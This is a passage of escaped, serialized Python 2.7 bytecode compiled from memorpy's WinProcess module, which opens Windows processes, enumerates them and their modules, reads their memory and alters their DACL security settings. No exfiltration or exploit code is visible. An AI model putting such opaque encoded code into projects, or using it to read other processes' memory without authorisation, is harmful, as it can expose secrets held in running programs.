x00Td\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\x0b\\\\x00Z\\\\x0b\\\\x00d\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\x0c\\\\x00Z\\\\x0c\\\\x00d\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\r\\\\x00Z\\\\r\\\\x00d\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\x0e\\\\x00Z\\\\x0e\\\\x00d\\\\x00\\\\x00d\\\\x04\\\\x00l\\\\x0f\\\\x00m\\\\x0f\\\\x00Z\\\\x0f\\\\x00m\\\\x10\\\\x00Z\\\\x10\\\\x00\\\\x01e\\\\x03\\\\x00j\\\\x11\\\\x00Z\\\\x11\\\\x00e\\\\x03\\\\x00j\\\\x12\\\\x00Z\\\\x12\\\\x00e\\\\x03\\\\x00j\\\\x13\\\\x00Z\\\\x13\\\\x00d\\\\x03\\\\x00Z\\\\x15\\\\x00e\\\\x16\\\\x00e\\\\x12\\\\x00d\\\\x05\\\\x00\\\\x83\\\\x02\\\\x00r\\\\xea\\\\x00e\\\\x12\\\\x00j\\\\x15\\\\x00Z\\\\x15\\\\x00e\\\\x08\\\\x00e\\\\x15\\\\x00_\\\\x17\\\\x00e\\\\x18\\\\x00e\\\\x19\\\\x00e\\\\x08\\\\x00\\\\x83\\\\x01\\\\x00g\\\\x02\\\\x00e\\\\x15\\\\x00_\\\\x1a\\\\x00n\\\\x00\\\\x00d\\\\x06\\\\x00e\\\\x0f\\\\x00f\\\\x01\\\\x00d\\\\x07\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x1b\\\\x00d\\\\x03\\\\x00S(\\\\x08\\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xff(\\\\t\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00pointert\\\\x06\\\\x00\\\\x00\\\\x00sizeoft\\\\x06\\\\x00\\\\x00\\\\x00windllt\\\\x14\\\\x00\\\\x00\\\\x00create_string_buffert\\\\x07\\\\x00\\\\x00\\\\x00c_ulongt\\\\x05\\\\x00\\\\x00\\\\x00byreft\\\\x0c\\\\x00\\\\x00\\\\x00GetLastErrort\\\\x06\\\\x00\\\\x00\\\\x00c_boolt\\\\x08\\\\x00\\\\x00\\\\x00WinError(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00*N(\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00BaseProcesst\\\\x10\\\\x00\\\\x00\\\\x00ProcessExceptiont\\\\x0e\\\\x00\\\\x00\\\\x00IsWow64Processt\\\\n\\\\x00\\\\x00\\\\x00WinProcessc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00s\\\\xf8\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x16\\\\x00d\\\\x16\\\\x00e\\\\x03\\\\x00d\\\\x00\\\\x00\\\\x84\\\\x03\\\\x00Z\\\\x04\\\\x00d\\\\x01\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x05\\\\x00d\\\\x02\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x06\\\\x00e\\\\x07\\\\x00d\\\\x03\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x01\\\\x00Z\\\\x08\\\\x00e\\\\x07\\\\x00d\\\\x04\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x01\\\\x00Z\\\\t\\\\x00e\\\\x07\\\\x00d\\\\x05\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x01\\\\x00Z\\\\n\\\\x00e\\\\x0b\\\\x00d\\\\x06\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\x0c\\\\x00d\\\\x07\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\r\\\\x00e\\\\x0b\\\\x00d\\\\x08\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\x0e\\\\x00d\\\\t\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x0f\\\\x00d\\\\n\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x10\\\\x00d\\\\x0b\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x11\\\\x00d\\\\x0c\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x12\\\\x00d\\\\r\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x13\\\\x00d\\\\x16\\\\x00d\\\\x16\\\\x00d\\\\x16\\\\x00d\\\\x16\\\\x00d\\\\x0e\\\\x00\\\\x84\\\\x04\\\\x00Z\\\\x14\\\\x00d\\\\x0f\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x15\\\\x00d\\\\x10\\\\x00e\\\\x0b\\\\x00d\\\\x11\\\\x00\\\\x84\\\\x02\\\\x00Z\\\\x16\\\\x00d\\\\x12\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x17\\\\x00d\\\\x13\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x18\\\\x00d\\\\x14\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x19\\\\x00d\\\\x15\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x1a\\\\x00RS(\\\\x17\\\\x00\\\\x00\\\\x00c\\\\x04\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\xa9\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00t\\\\x01\\\\x00|\\\\x00\\\\x00\\\\x83\\\\x02\\\\x00j\\\\x02\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01|\\\\x01\\\\x00r5\\\\x00|\\\\x00\\\\x00j\\\\x03\\\\x00t\\\\x04\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x01\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x01\\\\x01n(\\\\x00|\\\\x02\\\\x00rQ\\\\x00|\\\\x00\\\\x00j\\\\x05\\\\x00|\\\\x02\\\\x00d\\\\x01\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x01\\\\x01n\\\\x0c\\\\x00t\\\\x06\\\\x00d\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x07\\\\x00\\\\x83\\\\x00\\\\x00r\\\\x84\\\\x00|\\\\x00\\\\x00j\\\\x08\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x04\\\\x00|\\\\x04\\\\x00j\\\\t\\\\x00|\\\\x00\\\\x00_\\\\n\\\\x00n\\\\x15\\\\x00|\\\\x00\\\\x00j\\\\x0b\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x04\\\\x00d\\\\x03\\\\x00|\\\\x00\\\\x00_\\\\n\\\\x00|\\\\x04\\\\x00j\\\\x0c\\\\x00|\\\\x00\\\\x00_\\\\r\\\\x00d\\\\x04\\\\x00S(\\\\x05\\\\x00\\\\x00\\\\x00s@\\\\x00\\\\x00\\\\x00 Create and Open a process object from its pid or from its name t\\\\x05\\\\x00\\\\x00\\\\x00debugs=\\\\x00\\\\x00\\\\x00You need to instanciate process with at least a name or a pidi\\\\xff\\\\xff\\\\xfe\\\\x7fN(\\\\x0e\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00superR\\\\r\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00__init__t\\\\x05\\\\x00\\\\x00\\\\x00_opent\\\\x03\\\\x00\\\\x00\\\\x00intt\\\\x0f\\\\x00\\\\x00\\\\x00_open_from_namet\\\\n\\\\x00\\\\x00\\\\x00ValueErrort\\\\x08\\\\x00\\\\x00\\\\x00is_64bitt\\\\x13\\\\x00\\\\x00\\\\x00GetNativeSystemInfot\\\\x1b\\\\x00\\\\x00\\\\x00lpMaximumApplicationAddresst\\\\x08\\\\x00\\\\x00\\\\x00max_addrt\\\\r\\\\x00\\\\x00\\\\x00GetSystemInfot\\\\x1b\\\\x00\\\\x00\\\\x00lpMinimumApplicationAddresst\\\\x08\\\\x00\\\\x00\\\\x00min_addr(\\\\x05\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00selft\\\\x03\\\\x00\\\\x00\\\\x00pidt\\\\x04\\\\x00\\\\x00\\\\x00nameR\\\\x0e\\\\x00\\\\x00\\\\x00t\\\\x02\\\\x00\\\\x00\\\\x00si(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyR\\\\x10\\\\x00\\\\x00\\\\x00%\\\\x00\\\\x00\\\\x00s\\\\x18\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x13\\\\x01\\\\x06\\\\x01\\\\x1c\\\\x02\\\\x06\\\\x01\\\\x16\\\\x02\\\\x0c\\\\x02\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0f\\\\x02\\\\x0c\\\\x01\\\\t\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x0e\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00close(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyt\\\\x07\\\\x00\\\\x00\\\\x00__del__9\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s^\\\\x00\\\\x00\\\\x00d\\\\x01\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00k\\\\x07\\\\x00r\\\\x16\\\\x00t\\\\x02\\\\x00St\\\\x03\\\\x00t\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x01\\\\x00t\\\\x04\\\\x00d\\\\x00\\\\x00k\\\\x08\\\\x00r2\\\\x00t\\\\x02\\\\x00St\\\\x04\\\\x00|\\\\x00\\\\x00j\\\\x06\\\\x00t\\\\x07\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x02\\\\x00sV\\\\x00t\\\\x08\\\\x00\\\\x83\\\\x00\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00|\\\\x01\\\\x00j\\\\t\\\\x00\\\\x0cS(\\\\x02\\\\x00\\\\x00\\\\x00Nt\\\\x02\\\\x00\\\\x00\\\\x0064(\\\\n\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00platformt\\\\x07\\\\x00\\\\x00\\\\x00machinet\\\\x05\\\\x00\\\\x00\\\\x00FalseR\\\\x07\\\\x00\\\\x00\\\\x00R\\\\x0c\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00Nonet\\\\t\\\\x00\\\\x00\\\\x00h_processR\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00value(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00iswow64(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyR\\\\x15\\\\x00\\\\x00\\\\x00<\\\\x00\\\\x00\\\\x00s\\\\x10\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x12\\\\x01\\\\x04\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x04\\\\x01\\\\x18\\\\x01\\\\x0c\\\\x01c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sb\\\\x01\\\\x00\\\\x00g\\\\x00\\\\x00}\\\\x00\\\\x00t\\\\x00\\\\x00d\\\\x01\\\\x00\\\\x14}\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x02\\\\x00t\\\\x01\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x03\\\\x00t\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x04\\\\x00t\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x05\\\\x00t\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x06\\\\x00t\\\\x02\\\\x00d\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x07\\\\x00d\\\\x03\\\\x00}\\\\x08\\\\x00d\\\\x04\\\\x00}\\\\t\\\\x00t\\\\x03\\\\x00j\\\\x04\\\\x00t\\\\x05\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x03\\\\x00t\\\\x05\\\\x00|\\\\x04\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x03\\\\x00\\\\x01|\\\\x04\\\\x00j\\\\x06\\\\x00t\\\\x01\\\\x00t\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00\\\\x83\\\\x01\\\\x00\\\\x15}\\\\n\\\\x00g\\\\x00\\\\x00|\\\\x02\\\\x00D]\\\\x0c\\\\x00}\\\\x0b\\\\x00|\\\\x0b\\\\x00^\\\\x02\\\\x00q\\\\x94\\\\x00|\\\\n\\\\x00 }\\\\x0c\\\\x00x\\\\xb1\\\\x00|\\\\x0c\\\\x00D]\\\\xa9\\\\x00}\\\\r\\\\x00i\\\\x01\\\\x00t\\\\x07\\\\x00|\\\\r\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x05\\\\x006}\\\\x0e\\\\x00t\\\\x08\\\\x00j\\\\t\\\\x00|\\\\x08\\\\x00|\\\\t\\\\x00Bt\\\\n\\\\x00|\\\\r\\\\x00\\\\x83\\\\x03\\\\x00}\\\\x0f\\\\x00|\\\\x0f\\\\x00rM\\\\x01t\\\\x03\\\\x00j\\\\x0b\\\\x00|\\\\x0f\\\\x00t\\\\x05\\\\x00|\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x01\\\\x00|\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x05\\\\x00|\\\\x06\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x04\\\\x00\\\\x01t\\\\x03\\\\x00j\\\\x0c\\\\x00|\\\\x0f\\\\x00|\\\\x05\\\\x00j\\\\x06\\\\x00|\\\\x07\\\\x00t\\\\x01\\\\x00|\\\\x07\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x04\\\\x00\\\\x01|\\\\x07\\\\x00j\\\\x06\\\\x00|\\\\x0e\\\\x00d\\\\x06\\\\x00<t\\\\x08\\\\x00j\\\\r\\\\x00|\\\\x0f\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01n\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x0e\\\\x00|\\\\x0e\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01q\\\\xb1\\\\x00W|\\\\x00\\\\x00S(\\\\x07\\\\x00\\\\x00\\\\x00Ni\\\\x00\\\\x01\\\\x00\\\\x00id\\\\x00\\\\x00\\\\x00i\\\\x00\\\\x04\\\\x00\\\\x00i\\\\x10\\\\x00\\\\x00\\\\x00R\\\\x1d\\\\x00\\\\x00\\\\x00R\\\\x1e\\\\x00\\\\x00\\\\x00(\\\\x0f\\\\x00\\\\x00\\\\x00R\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00psapit\\\\r\\\\x00\\\\x00\\\\x00EnumProcessesR\\\\x05\\\\x00\\\\x00\\\\x00R(\\\\x00\\\\x00\\\\x00R\\\\x12\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00kernel32t\\\\x0b\\\\x00\\\\x00\\\\x00OpenProcessR%\\\\x00\\\\x00\\\\x00t\\\\x12\\\\x00\\\\x00\\\\x00EnumProcessModulest\\\\x12\\\\x00\\\\x00\\\\x00GetModuleBaseNameAt\\\\x0b\\\\x00\\\\x00\\\\x00CloseHandlet\\\\x06\\\\x00\\\\x00\\\\x00append(\\\\x10\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00processest\\\\x03\\\\x00\\\\x00\\\\x00arrt\\\\x0b\\\\x00\\\\x00\\\\x00lpidProcesst\\\\x02\\\\x00\\\\x00\\\\x00cbt\\\\x08\\\\x00\\\\x00\\\\x00cbNeededt\\\\x07\\\\x00\\\\x00\\\\x00hModulet\\\\x05\\\\x00\\\\x00\\\\x00countt\\\\x07\\\\x00\\\\x00\\\\x00modnamet\\\\x19\\\\x00\\\\x00\\\\x00PROCESS_QUERY_INFORMATIONt\\\\x0f\\\\x00\\\\x00\\\\x00PROCESS_VM_READt\\\\t\\\\x00\\\\x00\\\\x00nReturnedt\\\\x01\\\\x00\\\\x00\\\\x00it\\\\n\\\\x00\\\\x00\\\\x00pidProcessR\\\\x1d\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00proct\\\\x08\\\\x00\\\\x00\\\\x00hProcess(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyt\\\\x04\\\\x00\\\\x00\\\\x00listF\\\\x00\\\\x00\\\\x00s.\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x06\\\\x01\\\\n\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x06\\\\x01\\\\x06\\\\x02\\\\x1f\\\\x01\\\\x16\\\\x02\\\\x1d\\\\x01\\\\r\\\\x01\\\\x13\\\\x01\\\\x19\\\\x01\\\\x06\\\\x01(\\\\x01\\\\x1f\\\\x01\\\\r\\\\x01\\\\x10\\\\x01\\\\x11\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x9c\\\\x00\\\\x00\\\\x00g\\\\x00\\\\x00}\\\\x01\\\\x00xy\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00D]k\\\\x00}\\\\x02\\\\x00|\\\\x00\\\\x00|\\\\x02\\\\x00j\\\\x02\\\\x00d\\\\x01\\\\x00d\\\\x00\\\\x00\\\\x83\\\\x02\\\\x00k\\\\x02\\\\x00sn\\\\x00|\\\\x02\\\\x00j\\\\x02\\\\x00d\\\\x01\\\\x00d\\\\x02\\\\x00\\\\x83\\\\x02\\\\x00j\\\\x04\\\\x00\\\\x83\\\\x00\\\\x00j\\\\x05\\\\x00d\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00r\\\\x13\\\\x00|\\\\x02\\\\x00j\\\\x02\\\\x00d\\\\x01\\\\x00d\\\\x02\\\\x00\\\\x83\\\\x02\\\\x00d\\\\x04\\\\x00 |\\\\x00\\\\x00k\\\\x02\\\\x00r\\\\x13\\\\x00|\\\\x01\\\\x00j\\\\x06\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01q\\\\x13\\\\x00q\\\\x13\\\\x00Wt\\\\x07\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x05\\\\x00k\\\\x04\\\\x00r\\\\x98\\\\x00|\\\\x01\\\\x00Sd\\\\x00\\\\x00S(\\\\x06\\\\x00\\\\x00\\\\x00NR\\\\x1e\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00\\\\x00\\\\x00s\\\\x04\\\\x00\\\\x00\\\\x00.exei\\\\xfc\\\\xff\\\\xff\\\\xffi\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x08\\\\x00\\\\x00\\\\x00R\\\\r\\\\x00\\\\x00\\\\x00RA\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00getR&\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00lowert\\\\x08\\\\x00\\\\x00\\\\x00endswithR1\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00len(\\\\x03\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00processNameR2\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00process(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyt\\\\x13\\\\x00\\\\x00\\\\x00processes_from_nameb\\\\x00\\\\x00\\\\x00s\\\\x0c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x06\\\\x01\\\\x13\\\\x01U\\\\x01\\\\x14\\\\x02\\\\x12\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s@\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x01\\\\x00x-\\\\x00|\\\\x01\\\\x00D]%\\\\x00}\\\\x02\\\\x00|\\\\x02\\\\x00j\\\\x02\\\\x00|\\\\x00\\\\x00k\\\\x02\\\\x00r\\\\x13\\\\x00|\\\\x02\\\\x00j\\\\x03\\\\x00d\\\\x01\\\\x00d\\\\x00\\\\x00\\\\x83\\\\x02\\\\x00Sq\\\\x13\\\\x00Wt\\\\x05\\\\x00S(\\\\x02\\\\x00\\\\x00\\\\x00NR\\\\x1e\\\\x00\\\\x00\\\\x00(\\\\x06\\\\x00\\\\x00\\\\x00R\\\\r\\\\x00\\\\x00\\\\x00RA\\\\x00\\\\x00\\\\x00R\\\\x1d\\\\x00\\\\x00\\\\x00RC\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00R%\\\\x00\\\\x00\\\\x00(\\\\x03\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00dwProcessIdt\\\\x0c\\\\x00\\\\x00\\\\x00process_listRH\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyt\\\\x11\\\\x00\\\\x00\\\\x00name_from_processl\\\\x00\\\\x00\\\\x00s\\\\n\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x0c\\\\x01\\\\r\\\\x01\\\\x0f\\\\x01\\\\x14\\\\x02c\\\\x03\\\\x00\\\\x00\\\\x00\\\\t\\\\x00\\\\x00\\\\x00\\\\n\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x01\\\\x00\\\\x00|\\\\x02\\\\x00r\\\\xc7\\\\x00t\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x03\\\\x00t\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x04\\\\x00t\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x05\\\\x00t\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x06\\\\x00t\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x07\\\\x00t\\\\x02\\\\x00j\\\\x03\\\\x00d\\\\x01\\\\x00d\\\\x02\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x03\\\\x00}\\\\x08\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00t\\\\x02\\\\x00j\\\\x06\\\\x00\\\\x83\\\\x00\\\\x00d\\\\x03\\\\x00d\\\\x02\\\\x00t\\\\x07\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x07\\\\x00|\\\\x04\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x07\\\\x00|\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x07\\\\x00|\\\\x06\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x07\\\\x00|\\\\x07\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x08\\\\x00\\\\x01t\\\\x04\\\\x00j\\\\x08\\\\x00|\\\\x08\\\\x00d\\\\x03\\\\x00t\\\\t\\\\x00t\\\\n\\\\x00Bd\\\\x00\\\\x00d\\\\x00\\\\x00|\\\\x07\\\\x00j\\\\x0c\\\\x00|\\\\x07\\\\x00j\\\\r\\\\x00\\\\x83\\\\x07\\\\x00\\\\x01t\\\\x02\\\\x00j\\\\x0e\\\\x00|\\\\x08\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01n\\\\x00\\\\x00t\\\\x02\\\\x00j\\\\x03\\\\x00d\\\\x04\\\\x00d\\\\x02\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x03\\\\x00|\\\\x00\\\\x00_\\\\x0f\\\\x00|\\\\x00\\\\x00j\\\\x0f\\\\x00d\\\\x00\\\\x00k\\\\t\\\\x00r\\\\x04\\\\x01t\\\\x10\\\\x00|\\\\x00\\\\x00_\\\\x11\\\\x00|\\\\x01\\\\x00|\\\\x00\\\\x00_\\\\x12\\\\x00t\\\\x10\\\\x00St\\\\x13\\\\x00S(\\\\x05\\\\x00\\\\x00\\\\x00Ni\\\\x00\\\\x00\\\\x04\\\\x00i\\\\x00\\\\x00\\\\x00\\\\x00i\\\\x06\\\\x00\\\\x00\\\\x00i\\\\xff\\\\x0f\\\\x1f\\\\x00(\\\\x14\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00DWORDt\\\\x13\\\\x00\\\\x00\\\\x00SECURITY_DESCRIPTORR,\\\\x00\\\\x00\\\\x00R-\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00advapi32t\\\\x0f\\\\x00\\\\x00\\\\x00GetSecurityInfot\\\\x11\\\\x00\\\\x00\\\\x00GetCurrentProcessR\\\\x05\\\\x00\\\\x00\\\\x00t\\\\x0f\\\\x00\\\\x00\\\\x00SetSecurityInfot\\\\x19\\\\x00\\\\x00\\\\x00DACL_SECURITY_INFORMATIONt%\\\\x00\\\\x00\\\\x00UNPROTECTED_DACL_SECURITY_INFORMATIONR&\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00daclt\\\\x05\\\\x00\\\\x00\\\\x00groupR0\\\\x00\\\\x00\\\\x00R\\\\\\'\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00Truet\\\\r\\\\x00\\\\x00\\\\x00isProcessOpenR\\\\x1d\\\\x00\\\\x00\\\\x00R%\\\\x00\\\\x00\\\\x00(\\\\t\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00RJ\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00ppsidOwnert\\\\n\\\\x00\\\\x00\\\\x00ppsidGroupt\\\\x06\\\\x00\\\\x00\\\\x00ppDaclt\\\\x06\\\\x00\\\\x00\\\\x00ppSaclt\\\\x14\\\\x00\\\\x00\\\\x00ppSecurityDescriptorRH\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyR\\\\x11\\\\x00\\\\x00\\\\x00u\\\\x00\\\\x00\\\\x00s 